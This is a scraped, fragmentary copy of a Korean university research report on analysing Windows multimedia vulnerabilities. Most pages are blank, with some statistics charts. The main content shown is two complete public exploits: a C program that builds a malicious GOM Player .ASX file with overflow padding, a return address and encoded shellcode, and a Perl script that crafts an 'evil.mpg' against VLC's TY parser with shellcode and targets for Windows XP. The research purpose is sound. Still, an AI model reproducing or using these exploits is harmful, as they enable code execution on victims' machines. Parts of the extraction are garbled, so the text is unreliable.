1.hwp

Size: px

Start display at page:

Download "1.hwp"

정아 추
8 years ago
Views:

1 윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단

31 25, (1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2, 기업 대학 비영리 연구소 네트워크 기타(개인) 기업 19% 대학 2% 비영리 1% 기타(개 인) 78% 네트워크 0% 연구소 0%

34 25,000 20,000 Windows Linux 19,128 22,193 15,000 10,000 5,000 10,106 10,834 2,750 2,744 2,063 3, (~8월)

90 /* * GOM Player (.ASX) Stack Overflow Exploit * * [_>Exploit Code by:data_sniper * [_>Greetz: Arabic and algeria hackerz,arab4services.net and AT4RE Teams. * [_]My blog: * NOTIFICATION: * The vulnerabilty was reported by Parvez Anwar in Secuina after that i discovered it so all rights goes to Parvez Anwar. * i used internal address (in GOM.exe) to JMP and run the shellcode so the exploit is Universal. * * SEH Methode can be implemented for variant exploit. */ #include <stdio.h> #include <windows.h> unsigned char Header1[] = /*ASX data in unicode format */ "\xff\xfe\x3c\x00\x61\x00\x73\x00\x78\x00\x20\x00\x76\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6 E\x00\x20\x00\x3D\x00\x20\x00" "\x22\x00\x33\x00\x2e\x00\x30\x00\x22\x00\x20\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x65\x00\x6e\x00\x 74\x00\x72\x00\x79\x00\x3E\x00" "\x0d\x00\x0a\x00\x3c\x00\x74\x00\x69\x00\x74\x00\x6c\x00\x65\x00\x3e\x00\x48\x06\x2f\x06\x27\x06\x 39\x06\x27\x06\x20\x00\x23\x06\x4A\x06\x47\x06" "\x27\x06\x20\x00\x27\x06\x44\x06\x28\x06\x37\x06\x44\x06\x2e\x00\x6d\x00\x70\x00\x33\x00\x3c\x00\x2 F\x00\x74\x00\x69\x00\x74\x00" "\x6c\x00\x65\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x72\x00\x65\x00\x66\x00\x20\x00\x68\x00\x72\x00\x 65\x00\x66\x00\x20\x00\x3D\x00\x20\x00\x22"; unsigned char Header2[] ="\x22\x00\x20\x00\x2f\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x2f\x00\x65\x00\x 6E\x00\x74\x00\x72\x00\x79\x00\x3E\x00\x0D\x00\x0A\x00\x3C\x00\x2F\x00\x61\x 00\x73\x00\x78\x00\x3E\x00\x0D\x00\x0A\x00"; /*windows/exec bytes,encoder: x86/shikata_ga_nai,exitfunc=process, CMD=calc*/ unsigned char Shell[] = "\x31\xc9\xbd\x90\xb7\x29\xb8\xd9\xf7\xd9\x74\x24\xf4\xb1\x1e" "\x58\x31\x68\x11\x03\x68\x11\x83\xe8\x6c\x55\xdc\x44\x64\xde" "\x1f\xb5\x74\x54\x5a\x89\xff\x16\x60\x89\xfe\x09\xe1\x26\x18" "\x5d\xa9\x98\x19\x8a\x1f\x52\x2d\xc7\xa1\x8a\x7c\x17\x38\xfe" "\xfa\x57\x4f\xf8\xc3\x92\xbd\x07\x01\xc9\x4a\x3c\xd1\x2a\xb7" "\x36\x3c\xb9\xe8\x9c\xbf\x55\x70\x56\xb3\xe2\xf6\x37\xd7\xf5" "\xe3\x43\xfb\x7e\xf2\xb8\x8a\xdd\xd1\x3a\x4f\x82\x28\xb5\x2f" "\x6b\x2f\xb2\xe9\xa3\x24\x84\xf9\x48\x4a\x19\xac\xc4\xc3\x29" "\x27\x22\x90\xea\x5d\x83\xff\x94\x79\xc1\x73\x01\xe1\xf8\xfe" "\xdf\x46\xfa\x18\xbc\x09\x68\x84\x43"; int main( int argc, char **argv ) { char payload[4563]; char junk[4171];/*overflow trigger*/ unsigned char RET_Univ[] = "\x77\x45\x46\x00"; // JMP ESP in GOM.exe this make it universal, & don't worry about nullbyte,greetz go to unicode ;) /*char RET_sp2 = "\xf3\xc3\xe1\x77" /* if im wrong up there, use this => JMP ESP in kernel32.dll XP SP2 fr */ unsigned char nop[] = "\x90\x90\x90\x90\x90\x90\x90\x90"; //Nops FILE *f; printf("gom Player (.ASX) Stack Overflow Exploit by DATA_SNIPER\r\n"); printf(" \r\n");

91 memset(junk, 0x41, 4171); printf("[_] Building Exploit..\r\n"); memcpy( payload, Header1, sizeof( Header1 ) - 1 ); memcpy( payload + sizeof( Header1 ) - 1, junk, 4172 ); memcpy( payload + sizeof( Header1 ) + sizeof(junk)-1, RET_Univ, 4 ); memcpy( payload + sizeof( Header1 ) + sizeof(junk)+sizeof(ret_univ)-2, nop, sizeof(nop)-1 ); memcpy( payload + sizeof( Header1 ) + sizeof(junk)+sizeof(nop)+sizeof(ret_univ)-3, Shell, sizeof( Shell ) - 1 ); memcpy( payload + sizeof( Header1 ) + sizeof(junk)+sizeof(ret_univ)+sizeof(nop)+ sizeof(shell)-4, Header2, sizeof( Header2 ) - 1 ); f = fopen( "GAZA.asx", "wb" ); if ( f == NULL ) { printf("[_] Cannot create file\n"); return 0; } fwrite( payload, 1, sizeof(payload), f ); fclose( f ); printf("[_] GAZA.asx file Created,have unf :)\r\n"); return 0; }

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133 #!/usr/bin/perl # 10/21/2008 k`sose use warnings; use strict; # windows/exec bytes # my $shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01". "\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01". "\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2". "\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66". "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89".

134 "\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b". "\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a". "\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7". "\x43\x3a\x5c\x57\x49\x4e\x44\x4f\x57\x53\x5c\x73\x79\x73". "\x74\x65\x6d\x33\x32\x5c\x63\x61\x6c\x63\x2e\x65\x78\x65". "\x00"; usage() or < 1 or $ARGV[0]!~ /^\d$/ or $ARGV[0] > 1); = ( "\x24\x11\x62\x77", # jmp shell32.dll - Win XP SP1 "\xb3\x57\x04\x7d" # jmp shell32.dll - Win XP SP2 ); my $junk = "\x41"; open(my $file, "> evil.mpg"); print $file "\xf5\x46\x7a\xbd". # TIVO_PES_FILEID "\x00\x00\x00\x02". "\x00\x02\x00\x00". # CHUNK_SIZE $junk x 8. "\x00\x00\x05\x41". # i_map_size $junk x 4. "\x00\x00\x05\x49". # SEQ table size / (i_map_size + 8) == 1 $junk x 60. $targets[$argv[0]]. $shellcode. $junk x "\x05". # i_num_recs $junk x 3. "\x05". # p_hdrs $junk x 1. "\x09". # subrec_type \ # (subrec type & 0x0f) << 8 rec_type == 0x9c0 -> AC-3 Audio (DTivo) "\xc0". # rec_type / $junk x 14. "\x06". # subrec_type \ # (subrec type & 0x0f) << 8 rec_type == 0x6e0 -> Series 1 Tivo "\xe0". # rec_type / $junk x ; sub usage { print <<EOM; VLC Media Player TY File Stack Based Buffer Overflow Exploit k`sose - 10/21/2008 usage:

135 $0 <target> targets: EOM exit; } 0 - Windows XP SP1 1 - Windows XP SP2

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204 mid pls mp4 m3u xspf mpg rt pla wav

205

206

207

208

209

210

211 CVE (m3u) CVE

212 (pls) CVE (pls)

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS